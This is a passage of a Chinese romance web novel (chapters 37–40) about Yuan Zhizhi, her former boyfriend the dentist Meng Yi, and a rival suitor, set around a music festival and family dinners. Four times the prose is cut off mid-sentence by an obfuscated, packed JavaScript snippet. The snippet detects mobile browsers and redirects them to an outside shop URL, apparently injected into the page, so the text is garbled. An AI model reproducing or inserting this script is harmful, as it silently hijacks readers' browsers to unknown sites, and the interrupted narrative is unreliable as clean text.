于健捏紧了掌心:“你一定要去?这一去可是三年。” 想起元知知,孟懿稍沉默半晌,随即还是道:“舅舅您放心,我很清楚自己在做什么。” “算了算了,管不了你们,”他话锋一转,话头又落到了自己的妹妹身上:“听说你妈最近在和那个影帝男友闹分手,我看于安许最近情绪也不对。” 于安许,他妈和那个影帝生的儿子,好些日子没见孟懿险些没想起来他还有这么个弟弟。 “我看着那小子像是在学校谈恋爱了。” 孟懿没明白于健突然提起这个是什么意思,他百无聊赖转动着手机,心不在焉“嗯”了一声。 以前从来没觉得医院公众号的推文发的这么少,再不发新的科普文章他就只能给元知知转载其他科室的了。 “你呢?” “嗯?”孟懿很快被舅舅的问话拉回了思绪。 “你也谈女朋友了吧?什么时候带回来给舅舅见一见?” “别不承认,你脖子上是不是挂着人家照片呢,刚刚你妈说话那会儿心情突然变好,总不能是因为你妈说话好听。” 孟懿闻言再度捻了捻从脖子上垂下的吊坠,慵懒地向后一靠,薄唇轻勾,心情显然比刚才明快不少:“快了,以后……以后介绍您和她认识。” 37. 第 37 章 元知知回家元教授和张女士比谁都高兴,一日三餐都是做好了再喊她起床来吃,她倒是过了很长一段时间的舒服日子。 只是那个她一心想避开的人存在感比以往任何时候都强,和孟懿的聊天框即使是满屏的公众号推文,也总弥漫着不同寻常的气氛。 【my:“牙齿问题如何自查”——视频链接】 元知知本想忽略过去,在回完一圈新消息之后还是鬼使神差点开了那个视频,她只是因为关心牙齿健康才点开的。 视频里的人让她一愣,孟懿的声音娓娓传来,分明是科普,听在她耳里又像曾经哄她睡觉时的语气。 白大褂规整贴服在身上,夏天的时节里劲瘦有力的上肢一览无余,像是讲课一样的用手臂比划着板书,难免让人想起了那双臂膀揽在她光裸肩膀时的触感。 专业而俊朗,视频里的孟医生看起来就像是大学课堂里年轻有为的教授,让人不自觉信服。 元知知拍了拍自己发热的脸颊,待回过神来时视频早已经播放完了。 “知知!快出来,小林来了。” “来了。”元知知将手机扔在了床上,趿拉着拖鞋开了房门。 茶几上堆放着一堆水果营养品,还有两本大部头的书,林鹤之端坐在沙发上,光是靠近他的周围就自有一阵让人平和的奇妙气质。 刚才还暗中思忖孟懿像是一个给学生讲课的大学老师,没想到这真的大学老师下一秒就登门了,元知知抬手抚了抚脸侧,有些苦恼。 林家和孟家两家住的不远,都在大学家属院里,回家这一个多月林鹤之也隔三差五的拎着东西上门,次数多了元知知心里就咂摸出不对劲了。 许是看出了她的想法,近两周林鹤之来得稍少一些,没想到周内工作日还来了。 瞧着像是刚下班的,她一身睡裙和林鹤之身旁放着的公文包、衣着略正式比起来有些格格不入。 他看见她靠近,扶了扶眼镜,无奈苦笑道:“我爸非要我来给孟叔叔送书,已经停版的老书了,不让我亲自跑一趟送过来他不安心。” 林鹤之一向温和的面容上浮现出的无奈和故意撇下的嘴把她逗得乐出了声,少见他这样,当下她心里那点儿猜测也没了,反倒有些同情,大概能想象出林家父母又是怎么逼着自己儿子多和相亲对象家走动的:“他们老学究就是这样的,我爸也是。” “忘了,你是小学究,老了也是老学究。” 两人齐齐笑了出来,张女士和元教授躲在张了缝的书房门后,也一同笑起来。 元教授是笑女儿可爱,张女士是笑两个孩子相处融洽。 “你还说他俩没戏,我看他俩真能成。” 元教授双手背在身后,故作高深道:“就是要我现在来说他们还是成不了,你不信的话只管往以后看吧。” 张女士冷哼一声,不理丈夫了。 客厅中的两人谈笑几句,又很快找不到话题聊,尴尬的沉默持续一阵,林鹤之又另起了话头:“元小姐应该不缺人追求吧,怎么会被叔叔阿姨要求着四处相亲了,是自己不愿意谈还是……” 这话其实应该在刚认识时作为相亲对象问出来的,这会儿两个人做普通朋友相处了又提起反倒让人尴尬。 “我——” 手机铃声打断了对话,她松了口气,匆忙回房间接了电话。 再出来时已经换了一套短袖短裤的套装:“爸,妈,章汝舟叫我吃饭呢,晚上不在家吃了,林老师你在我家继续坐会儿吧,外边这会儿热。” 林鹤之提起公文包站起身:“要不我送你去,刚好车就在楼下。” 元知知把拖鞋踢在地毯上躺着:“不用了林老师,我自己开车去就成。” 张女士这会儿不装着在看书没空招呼客人了,从书房出来追了两步停在了门边,焦急的跺了跺脚,转头硬是把元教授挑着错处骂了一顿。 - 四四方方的八仙桌,元知知抬首看了看对面的人,又转头看了看侧首的人。 终是没忍住在桌下向身侧的章汝舟发了消息:【这怎么回事?】 【还能怎么回事,当初在华清市不是跟人家说过要请吃饭吗】 孟懿在华清市帮她和章汝舟解过维,那时章汝舟就说了要请他吃饭,只是一直到离开华清市了这顿饭也没吃上。 没想到孟懿这段时间刚好来海河市出差,她这才抓住了这个机会。 而且,也不单单是为了感谢,她瞅了眼神色显然有些异样的元知知,按下了心中其他想法。 元知知抿了唇角,孟懿什么时候来海河市出差的?还有……章汝舟怎么知道的? 她有些在意,不自然的避开两人目光,暗中懊恼这不受控的心思。 孟懿今天穿了一件黑色衬衫,就像穿白大褂那样扣子被严丝合缝扣到了最上面一颗,刚刚好抵在喉结下方,让人有想要解开的冲动。 修长骨节的手很快闯入了她的视线,像是店里太热了,他一颗颗解开了扣子,一直到锁骨若隐若现:“昨天晚上刚到,和你们市一院、海河大学医学院有一个口腔交流的大会,今年刚好是我来参加。章小姐大概是和蔡医生联系过才知道我要来海河出差。” 章汝舟猛点头:“对对对,孟医生本来都拒绝了,后来不知道怎么问了你来不来就又——” 元知知抬脚轻轻碰了一下她,她讪讪闭了嘴。 孟懿已经问店家要来了热水重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178272|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清洗餐具,医生在这一方面总有些细致的讲究。 他把触感温热的瓷碗递给元知知:“本来打算到达后就告诉你的,章小姐先联系了我,想着今天要见面就没给你说。” 元知知刚才心里的在意已经散去了,尽管不想承认,但孟懿就像捏准了她每一个心思一样直戳要害,让她连嘴硬的反驳都不好意思说出来。 章汝舟在包里翻找一阵,拿出两张票递给他们:“我新男友公司发的票,什么音乐节的,刚好四张,给你们一人带一张到时候咱们一起去。” 孟懿没有推拒,元知知则当即就要拒绝,她和他什么关系,和一对情侣一起去音乐节。 但章汝舟硬是把票塞进了她的包里:“哎呀,就去嘛,很好玩的,你不去我也不想去了。” 她只得应下来,大不了音乐节开场后就各自散开来玩。 “孟医生酒店在哪个位置?我送你?” 孟懿朝章汝舟晃了晃手机,示意自己打车就好。 他看了一眼一言不发的元知知,很快离开,她们也各自散场。 - 音乐节在周内工作日的傍晚,但现场还是出乎意料的火爆。 光是在门口排队检票就能感觉到人潮带来的热浪了。 章汝舟和她的新男友穿了情侣装,很早就到了,看到她来后挥着手打着招呼,待她走近后才注意到孟懿也已经到了。 在一群时尚热辣的俊男靓女中唯有他们俩穿的中规中矩,她一身咖色T恤搭浅蓝过膝长包裙,他则是灰色薄衫配军绿裤子。 “果然时尚的完成度靠脸,看看你俩在这儿穿成这样怎么一点都不违和。” 章汝舟的新男友低声道:“人家那套情侣装挺好看的,我感觉比我们身上这花里胡哨的好看多了。” 他被女朋友狠狠踩了一脚闭了嘴,元知知这才意识到她和孟懿穿的像是提前商量了互相配合一样。 孟懿没有掩饰自己的笑容,她飞快转身随着人流排在了队伍后面,但他也很快跟了上来,两人站在一起排在队伍中看起来更加登对了。 她已经看到好几个动作神情看起来像是来要微信的人因为他们的穿着犹疑顿步,接着转身离去。 元知知趁着队伍走动间隙刻意停顿几秒,接着侧头对着向前走近的人道:“别隔那么近,热。” “好。”磁性声音从头顶响起,如擂鼓敲响在心间,元知知这才意识到她反而将两人距离拉得更近了。 她赶紧跟上前面的人,接下来的时间身后的男人都老老实实缀在后面,隔着一段礼貌的社交距离,看起来总算不那么像情侣了。 孟懿幽幽地注视着女人窈窕的背影,不甘但极小声的冷哼了一声。 38. 第 38 章 人流缓慢挪动,元知知和孟懿刚检了票走进去就听到人群的欢呼声,前面的人群朝着声响处张望几眼,接二连扫朝着那个方向小跑起来。 从身侧跑过的人嘴里念叨着什么名字,欢呼声里也夹杂着节目单里一个乐队的呼号,大概是这次音乐节的某几位乐队歌手乐手从后台突然出现在了这儿。 元知知侧身避开了好几个着急奔跑的人,但随着人流越聚越多就连不是粉丝的人也急着冲上去凑凑热闹,只是一转眼的功夫就变成了人潮推着她向前走。 被快快慢慢的速度推攘几下,她踉跄几步想从侧边离开,还没能撤出去右手就被另一只干燥的手牢牢握在了掌心。 她低头看了一眼紧紧交握的两只手,还没来得及说什么下巴就被男人另一只手轻轻抬起来了:“看路,跟紧我。” 孟懿淡然的收回手,保安大哥在身后拦着人群试图限流,快他一步跑进来的人们更兴奋的朝乐队的方向涌动着,他状似不经意的收紧了手,两只手从掌心到指根都与对方紧紧相贴。 男人稳健的步伐和立在身后宽厚的胸膛让元知知内心稍稍安定下来,他们顺着人流走了没几步就找到了缺口趁机避让到了角落里。 她挣了两下,孟懿把手松开了,明明是燥热的夏夜,从他掌心里脱开的右手还是感觉到了冷空气突如其来的侵袭。 微微打了个寒颤,孟懿蹙眉:“冷?” “没有。” 这个医院之外冷心冷面的男人没有松开眉头,上上下下打量了她一番,确定元知知真的没有感觉到冷后才挪开目光。 “绕个路进场吧,要等现场疏散不知道站到什么时候了。” 元知知悄悄踮了踮脚从孟懿的肩膀处望了出去,乐队的人已经被工作人员护送回了后台,挤作一处的观众也三三两两跟着疏导指示四散开来,跟着人群进场也耽误不了多长时间,反而是绕路要多出不少的距离。 孟懿还站在她身前没有让开,她捻着衣角:“走吧,绕一圈进去也行。” 章汝舟和她男友早就被人群冲散不知道哪里去了,再汇合的时候他们已经在舞台下的大草坪里占据了一块不错的位置。 “你们偷偷约会去了吗怎么那么久不来。” 元知知搪塞了两句,章汝舟的注意力很快被乍响的摇滚前奏吸引过去,拉着男友蹦蹦跳跳挥舞着荧光棒。 现场气氛越来越热烈,就连一向不怎么来这种场合的元知知也不禁随着人群跟唱了几句语气词,富有节奏的音乐带动着空气也炙热起来,就像回到了十几岁的年龄。 开场曲接近尾声她才平复了呼吸,感受到身后气息下意识转头时才发现孟懿还站在原地。 他正抱着臂懒懒立着,和开始前的姿势没有什么区别,仿佛整个草坪和舞台的气氛都不能感染他,唯一不同的是他的目光正放在她的身上。 元知知转头时两双眼睛毫无预料的撞进了彼此目光中,直到音乐尾音落下孟懿移开了眼睛她才意识到刚刚的一整首歌里他或许一直盯着她的背影。 他在想什么? 元知知连自己在想什么都快晕了头搞不清。 章汝舟喜悦的声音从不远处传来,他们一齐看去,摄影师将镜头对准了她和她男朋友,毫不扭捏地,这两人在舞台的大屏幕里接了一个法式热吻。 这大概是音乐节这类活动的传统了,台下的观众们都见怪不怪甚至发出起哄的欢呼声。 大屏幕上的主角很快变换,又变成了另一对十指相扣的年轻男女。 元知知兴致勃勃的仰脸看着,直到在摄影师的镜头下看到了自己的脸,还有她身后的孟懿。 两人一前一后站着,男人是保护者的姿势,女人回头看他时他的脸上下意识带出些柔和,台下的观众激动起来,任谁来也不会怀疑这俩人不是一对。 她终于确定了大屏幕上的人就是她自己,元知知下意识后退一步,肩膀刚好抵在了孟懿的胸膛上,附近的人很快发现这对主角就在自己旁边,“哇哦”的声音此起彼伏传来。 被架在了这儿元知知不免有些尴尬,刚想摆摆手做示意肩膀就被揽住了,孟懿侧身靠近了她。 她下意识闭上眼睛,手上动作又是微不可察的推拒,但预想中的柔软并未落到唇上。 孟懿贴住了她的额头,两人都形状漂亮的鼻尖与彼此相抵,各自的鼻头上都印出了浅浅的小窝,是对方鼻尖的形状。 并未亲吻,却比亲吻更加暧昧。 这一刻世界仿佛短暂的安静下来,元知知呼吸也停留在了腹腔里。 肩膀上的手微微按了按,她听见孟懿沉沉的嗓音:“呼吸。” 她遵从本能的呼出了那口凝滞许久的气,他已经退开了一步距离,大屏幕上的男女也已经换了面孔。 从镜头对准他们就倒抽了一口冷气的章汝舟不知道被男朋友拉到哪里去了,倒也免去了元知知的几分尴尬。 终是没忍住,她的脚尖轻轻踢在了孟懿小腿肚上。 男人的眉眼都因笑意生动起来。 - 音乐节结束已经有些晚了,大概是音乐气氛的感染,章汝舟还意犹未尽,又张罗着去烧烤摊吃顿夜宵再散场。 今天的票都是她提供的,元知知和孟懿自然没什么意见。 只是元知知出奇的有些沉默与不自然,在出租车上和这对小情侣一同挤在后座,让不怎么熟悉路的孟懿坐在了副驾驶。 在路边的烧烤摊前下车后章汝舟犹豫着换个地方,总觉得这连凳子都沾染着烟油气的地方不适合孟懿这么一个人物。孟懿不表态,好整以暇看着元知知,她站在明显纠结懊恼的好友身边,终是一把按在了他的背上推着人往里走,这下两人间才算勉强破了冰。 他们坐在了店铺里面,风扇呼啦啦吹着,比街沿边凉爽不少。老板娘显然和章汝舟很是熟悉,不等点单就先送了几瓶冻啤酒上来。 大概是瞧见他们人多,没一会儿她又搬了一箱啤酒过来:“小章吃我们家烧烤就爱喝点呢,喝吧喝吧,喝不完可以退。” 章汝舟早就和自己男友说过在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201052|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华清市出差那会儿孟懿好心帮过忙的事情了,他拎了两瓶酒利索地开了,一瓶递给孟懿一瓶自己拿着,非要表达感谢。 孟懿第二天下午才有一个小型讨论会,是以也不介意喝一点,上了桌的烧烤没吃几串,两人手上的酒倒是很快就下去了大半瓶。 章汝舟懒得掺和,自己一小杯一小杯慢慢酌着:“知知你别光吃啊,咱俩也喝两杯。” 元知知心里说不出的烦闷,也有这个意思,接过了杯子抿了一小口,忧愁难解,干脆一口灌下。 始终没有看她们的孟懿不知道哪长了双敏锐的眼睛,她喝下第一杯后就招呼老板娘要了三份小米粥。 章汝舟和她男友都不喝,最后只有元知知捧着一小碗小米粥喝着。 孟懿不动声色看了她半晌,她胃不算特别好,除了工作需要很少喝酒,大概是觉得她自己心里也有数,在元知知察觉前他就挪开了目光。 接近凌晨散场时他们才发现元知知已经有些昏沉了,这是她喝多了的表现。 章汝舟扶着她的腋下架起了她,下意识向孟懿解释道:“她平常也不怎么喝的,我压根没注意,哪想到突然就喝成这样。” 孟懿也不觉得她跟他解释元知知的情况有什么不对,无奈上前接过人,双手揽着她的肩膀让她半倚靠在自己身上借力。 大概是换了个稍微舒服些的姿势,她表情比刚才要松动许多。 “我送她回去,麻烦你们帮我叫个车。” “行,麻烦你了啊孟医生。” 孟懿扶着元知知在烧烤店门口的塑料板凳上坐下等车,送章汝舟两人回去的车先一步到了,他也没留他们一起等待。 怀里的人好像已经沉沉睡去,他不敢放手,一放她就得摔,只能麻烦烧烤摊的老板娘帮忙看着点路边来车。 无人打扰他们,不远处喝酒聊天声迷蒙的像是另一个世界的声音,阴湿郁热的夜,懒懒的夏风轻拂,孟懿一低头就对上了女人潋滟如琥珀酒的一双眼,骄矜又茫然。 不待他反应,元知知一双手就触碰到了他的额角,一点点向下,像是用手描摹着心爱人的轮廓。 酒后的人软弱无力,捧在脸上的手也柔弱无骨一般,虚虚点着、若即若离。孟懿一把抓住了她的手按了下去,但却没有再放开了。 “你选择做牙医,是不是因为我?” “什么?” 她的嗓音有些沙哑,但吐字还算清晰,孟懿听得清清楚楚,元知知又问了一遍曾经问过的那个问题。 仿佛有莫名的执念让她始终在意这个问题。 喉结微微滚动,他认真看着她的眼睛:“不是。” 不完全是,他本来就一心想要学医,只是在选择专业时鬼使神差将口腔医学放在了第一志愿的位置上。 元知知得到回答后似是要安心的放任自己陷入昏睡,但她没有,她只是继续问道:“那你爱我吗?” 孟懿垂眸,交握的手渗出了薄汗。他喉咙有些干燥,没有犹疑,一字一句认真道:“我爱你。” 39. 第 39 章 元知知醒来时只觉头痛欲裂,大概是最近这段时间在家里休养的太好了,脱离了紧绷的酒局,私下稍微多喝点酒身体就有些受不了了。 她一边轻敲着头一边撑着床坐直了身体,浅色的床单被攥出了一团皱巴巴的纹路,她停顿了好一会儿才觉震荡的神经微微安分一些。 不像刚醒来时只要略微动作一下就头疼了,元知知终于趿拉上了拖鞋从床上站起来。 身上还带着一股不算太浓的酒气,她边犹豫着要不要先洗个澡边走到了客厅,早餐已经在餐桌上摆好了。一人份的,看来是专门给她留的。 瓷碗温热,元知知刚坐下喝了两口粥指纹锁开锁的声音就响了起来。 是张女士回来了,手上还提着两个装满菜和肉的大塑料袋,元知知起身走过去,朝她的身后张望着:“我爸呢,没跟你一起去买菜?” 张女士拍开了她欲接过东西的手:“快吃你的早餐去,等会儿别放凉了,你爸路上遇到个小友,他们叙旧,我怕菜在大热天放坏了就先回来。” 元知知老实坐回了桌前,用勺子搅着寡淡无味的白粥,半晌喝不下去一口。 “喝不下去就把给你弄的蜂蜜水喝了,养肝的,”张女士一边把冰箱打开清点存货一边飞了几个眼刀子,“你这丫头也真是,上班要喝酒我说不着你什么,好不容易休个假也离不开酒桌子,就你昨天喝成那样什么时候被人卖了都不知道。” 元知知讪笑:“这不是和小舟他们出去才喝两口嘛,要和不信任的人哪敢——” 脑海中零星的片段突兀闪过,她整个人一顿,有些艰涩改口道:“妈,我昨天……是怎么回来的?” 张女士终于停了忙碌的动作,似笑非笑冲着女儿道:“既然你自己想起来了,那就老实交代吧。” “交代什么?” “还能交代什么?昨天送你回来的那男人是谁?” 这一下元知知是彻底回忆起了昨天陷入沉睡前的事,从音乐节到烧烤摊,再到……他说他爱她。 在深夜街边的小摊前,面对着一个神志不太清醒的人,却如身在教堂,像一个誓言一样郑重。 她深呼吸了一口气:“昨天晚上回来我没有太折腾他吧?” 张女士斜睨她一眼:“怕自己耍酒疯?怎么,平常喝醉了就乖乖安静下来,面对着他就会耍酒疯了?” 好在她刺了元知知几句后终归还是回答了问题:“放心吧,昨天回来你睡的很沉,他一直把你抱回房间里你都没有醒过一次。” “那就好。” “看得出来年轻人体力不错,一路把你又背又抱的连一滴汗都没出,就身体素质这一点来说还不错。” 元知知光顾着松口气了,丝毫没察觉到自己妈妈对孟懿这种挑女婿般挑剔的评价有什么问题。 “对了你还没告诉我那男人是谁呢?昨天太晚了把你送回来就急匆匆走了,连口水也没喝上。” “跟你是什么关系?去华清市出差的时候认识的还是——” “妈,”元知知推开了凳子,“身上酒味太难闻了,我先去洗个澡。” “诶,把蜂蜜水先喝完啊……” 张女士的声音被关在卧房门外,元知知背贴着门,宿醉后难以平复的心绪在宁静的空间里更像是对她自己的质问。 - 元知知包着湿法出来的时候客厅和书房都不见人影,张女士正在厨房处理虾线,而元教授还没有回来。 她瞄了一眼料理台,备下的菜不可谓不丰盛,至少已经三道大菜了。 “妈,今天这是什么重要日子么,这么多菜咱们家就三个人也根本吃不完啊。” “你爸说要带人回来吃饭,招待客人的。” 元知知被张女士推出了厨房,她放下了自己一头湿漉漉的长发,抹了几泵护发精油均匀打上去,听着厨房里传来的剁肉声疑心元教授要带回来的客人是林鹤之,否则还有谁能得张女士这样的青眼。 正想着门外就传来了响动,元知知抬眼,元教授回来了,中年男人高瘦的个子挡不住身后男人优越挺拔的身形,他礼貌的停留在门廊处等待元教授为他取鞋套。 “孟懿?” 元教授听见女儿的声音乐呵呵的打了个招呼,张女士也从厨房出来了,二话不说就丢了条围裙给丈夫,主厨的位置就这么完成了交接,而对于随着元教授一同出现的孟懿似乎没有丝毫惊讶的情绪。 不冷不热的态度既不像对待客人,又不像对待自己人。 但元知知能确定的一点就是张女士显然也早就知道这客人是谁,夫妇两个一个看天一个看地,就是谁都不肯看她。 她只得把疑问的目光放在孟懿身上,不成想孟懿忍了半天终于没忍住蹙眉道:“你怎么又不吹头?” ‘长期这样阴雨天容易头疼’,这后半句话被他咽了下去,但张女士和元教授目光已经开始不对劲起来。 元知知推着两人进了厨房:“像孟医生这样的医护工作者都是很注重养生的,客人肚子都饿了,别聊了。” “那你记得陪小孟说会儿话喝会儿茶啊,人好不容易来一趟,别让人一个人坐着。” 夫妇两终于离开这个空间,她小松一口气,眼皮一撩:“你怎么来了?” 孟懿越过她,自顾自把手上的几个大礼品袋放在客厅茶几上,挂出的商标价格都不便宜。 元知知转身,还没来得及追问手上的毛巾就被拿走了,她抬头看着已经近在咫尺的男人,孟懿拨过她侧边的长发包裹在毛巾里从上至下一点一点攒着水。 “路上遇到叔叔阿姨聊了两句,叔叔邀请我来家吃饭,本来不想叨扰但实在盛情难却,礼物买的急,如果不合叔叔阿姨心意下次我再买。” “下次?”元知知白了他一眼:“你还想有下次?吃饭的时候少说话,吃完赶紧走。” 孟懿没答话,用手撩了撩发丝,多余的水已经攒干净了,他把毛巾递回给她,“去吹头发吧,我自己倒点水喝就行,不用你陪着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222434|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吹什么,天气这么热一会儿就干了。” “要么你别犯懒自己吹,要么你把吹风机拿来我帮你吹。” 他跟在她身后,木质的房间门砰地一声关上险些砸中他皮鞋内的脚趾,不一会儿门内就传来了吹风机运行时“轰轰”的声音。 等元知知再次从房间出来时本该坐在客厅的人却不见踪影,厨房内的声音倒是热闹。 她轻手轻脚走过去,厨房门没有关,里面的场景一眼就能看尽。 元教授抑制不住笑容的和孟懿聊着天,时不时爆发出一阵笑声,心情很是愉快的样子。张女士倒是没参与他们的话题,坐在一旁刷着手机,但以元知知对她的了解,她一定没有在看手机上的内容,余光反而时不时就飘向相谈甚欢的两个男人。 每当孟懿向她搭话时她反而又掩下目光,冷淡礼貌应着,让人感觉不出过分的热情又不会失礼。 元知知再度定了定神,厨房里元教授满屋子乱转着打下手,张女士更是连围裙都摘了,拿着锅铲的人变成了孟懿。 来做客的人反而变成了主厨,自己做菜招待自己,元知知有些无奈的揉了揉太阳穴。 刚认识孟懿时他完全是一个十指不沾阳春水的大少爷,别说做饭了,就是烧个水煮几个饺子也没一个是不破皮的。 两人在一起后他计划着考上大学的情侣生活,突然想到租了房子后两个人就真的是在过他们自己的日子了,每天除了冲刺高考外还硬要抽一些时间去学做饭。 第一天十只手指就烫了五个水泡回来,带回来的成品也黑糊糊的看不出是个什么东西来。两个人各尝了一口后就连晚饭都吃不下去了,孟懿过后还火急火燎跑到校医务室拿肠胃药,生怕那一口给元知知吃出什么问题来了。 此后他进步越来越大,一直到了分手前,已经能做出一桌正常能入口的饭菜了。 鼻翼轻翕,空气中已经弥漫着浓郁的香气,张女士备下的几道大菜全都由孟懿炒了出来。 张女士很快注意到了站在门边的她,抬了手招呼着:“快来盛饭,菜马上就好了。” 孟懿转头,视线先在她的蓬松干燥的发顶转了一圈,接着从筷筒里抽出饭勺冲洗干净递给她,动作自然的就像是在自己家里。 元知知倒是成了客人一般。 “昨天小孟送我们家知知回来都没来得及好好感谢,今天好不容易遇上了,招待不周多多原谅。” 元教授先聚了聚装着橙汁的酒杯,接着四只杯子就碰在了一起。 孟懿还没来得及客套两句,就听一反常态有些沉默的张女士开口道:“不知道小孟和我们家知知是怎么认识的呢?” 元教授大咧咧:“不是说了么,小孟和知知高中是——” 突兀的噤声,元知知猜她爸应该是在桌子底下被她妈踢了一脚。 她埋头夹菜,感受到男人极强的目光落在她的身上。 张女士盯着孟懿,孟懿看着她。 他们真正在等待的,是她的回答。 40. 第 40 章 “是高中同学。” “哦。”元知知听见母亲有些失望又无趣的应了一声。 孟懿的声音淡淡的,语气听不出什么起伏来,只是附和着她:“嗯对,我们高中是同班同学。” 场面一时有些僵硬,还是元教授先聊起了学校里的事情才重又热闹起来。 饭后聊了没两句医院那边就来了电话,孟懿挂了后就匆匆告辞离开。 肉眼可见的张女士神情瞬间和缓下来,她翻了翻他来时带来的礼品袋子,显然很满意,元教授得意洋洋:“我就说这小子还不错吧。” “嗯,是不错,亲眼见着倒是比小林那孩子还要出众些。” “就看我们知知喜欢不喜欢了。” 元知知的心霎时漏跳一拍,不知道父母是怎么想到这一层上去的:“爸,妈,你们说什么呢,我们就是老同学,读书时候都没可能现在更没可能了。” “以前真的没可能吗?”张女士笑眯眯的一双眼睛仿佛能看透所有秘密,“再说了,读书那会儿和现在都隔了那么多年了,成年人之间处理问题的方式和少年时应该有很大不同吧?说不定那个时候不适合没可能,现在就适合了呢?” 元知知没有说话。 待人进去以后元教授为难的看着妻子:“你怎么直接跟孩子说这个呢,孩子多尴尬呀。” “再说了你不也挺满意小孟的吗?怎么把人请回来了你又冷淡起来了。” 张女士白了自家老公一眼:“咱家知知当年都为他哭成什么样了,知知要是不松口,我也没什么好脸色可以给人看的。” - 元知知在海河大学遇到林鹤之时不怎么意外,他本来就是海河大学的老师,和元教授所在学院隔得也不远。 两人遥遥打了个招呼,待走近以后她才晃了晃手上的u盘:“年龄大了记性也不好了,得亏我有时间给他跑这一趟。” “元教授最近准备新课题了,难免忙一些忘了,你这会儿要去元教授办公室吗?” “嗯,给他送过去。” 林鹤之嗓音儒雅:“我刚刚从他们学院回来,他这会儿不在办公室,好像去听什么医学院的讲座了,你要不先到我办公室休息一会儿?” 元知知本想拒绝,但入了伏的天酷热难熬,不如先找个地方避避暑。 林鹤之的办公室很大,一共有三个工位,但除了他之外另外两位老师都不在,她随意坐在了一边的沙发上。 坐在电脑前的人突然转过椅子看着她,半晌也不挪开目光,饶是元知知也有些不自然了,“怎么了?看着我做什么?” 他笑了起来,有些腼腆与含蓄,似是也发现了自己这样直勾勾看着别人有多无礼:“我只是突然觉得元小姐坐在这里很像一个还在读书的大学生在等老师回办公室。” 元知知今天素面朝天就径直出了门,连一点点口红都没有抹上,天然无雕饰之下少了几分女人的娇媚,又多了一些少女的纯净。 没有谁被夸年轻是不开心的,尽管她现在的年龄也根本算不上大,“我大学时候要是遇到林老师这么一个年轻有为说话又那么动听的帅气老师恐怕没法好好读书的。” 林鹤之却摇头,神色认真道:“我听商学院老师说到过你,你一直是一个很认真的学生,绝对不会因为这些外物影响自己的。” “是吗?”元知知一怔,这话本是玩笑,不曾想林鹤之态度倒是认真,她一时也觉得自己这玩笑不合适了。 在办公室里吹了半个多小时的空调,时不时搭两句话,两人真正有交流的时间也不过十分钟而已,她已经觉得有些坐立难安了。 正欲告辞,林鹤之亮起了手机屏幕:“元教授说他那边已经结束了,我刚好也要过去他们学院一趟,一起吗?” 他们学科大类有些靠近,只是海河大学专业划分较细的原因被划成了两个学院,日常实验的配合交流都是再平常不过的事情。这也是元教授欣赏林鹤之的原因,相处的多了,也就发现这个亮眼的小辈了。 此刻他们刚走进学院大楼,就恰巧与从侧门走来的元教授迎面相遇,人还没看到声音先破开空气吸引了他们的目光:“小林!这边。” 元教授带着身后的人三两步跨到近前来,元知知把u盘递给他,他拉过身后的人向林鹤之介绍道:“这是孟医生,这段时间来咱们学校交流学习,今天讲座的主讲人就是他;这是林老师,隔壁院的老师,年纪轻轻科研成果不少。” 他本意是两人都是青年才俊,介绍他们认识以后有机会也都能互相交流学习,不曾想这两个男人视线一对上气氛就开始不对劲起来,视线交汇处仿佛有一条看不见的线,闪着敌意的电光与火花。 谁也没有伸手和对方礼貌性招呼一下的意思,两手贴在裤子中缝动也不动,只嘴上打了个招呼。 很奇怪,元知知左右看了看,据她所知这孟懿和林鹤之此前应该不认识吧,怎么一见面就有这么大的敌意,尤其是林鹤之这么一个谦谦君子般的人物。 其实林鹤之自己也说不清楚他分明一向好脾性,但第一眼看到这个“孟医生”时心里的警铃就瞬间响起的原因。这个男人光是站在那里就让他感觉到了极强的威胁性,几乎是本能反应,他观察起了他的神色。 孟懿的神色同样不善,但在元教授对元知知说话时略微缓和些:“看到小孟怎么不招呼,今天的讲座实在精彩啊,早知道该把知知叫上一起来听。” 孟懿眼眸一弯,磁性的声音低低道:“知知如果感兴趣的话,我可以重新讲一遍。” 轮廓分明的侧颜倒映入元知知眼里,只听得他补充道:“一对一。” 林鹤之唇角微微下压,站在她的身边仿佛极为亲近,显得另一侧的孟懿像一个局外人一样:“知知感兴趣的话我刚好有朋友在医学院任教,我可以介绍她给你,说不定聊得来。” 元知知面上显出些让人难以察觉的不耐,不明白话题怎么就转到了这上面:“我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 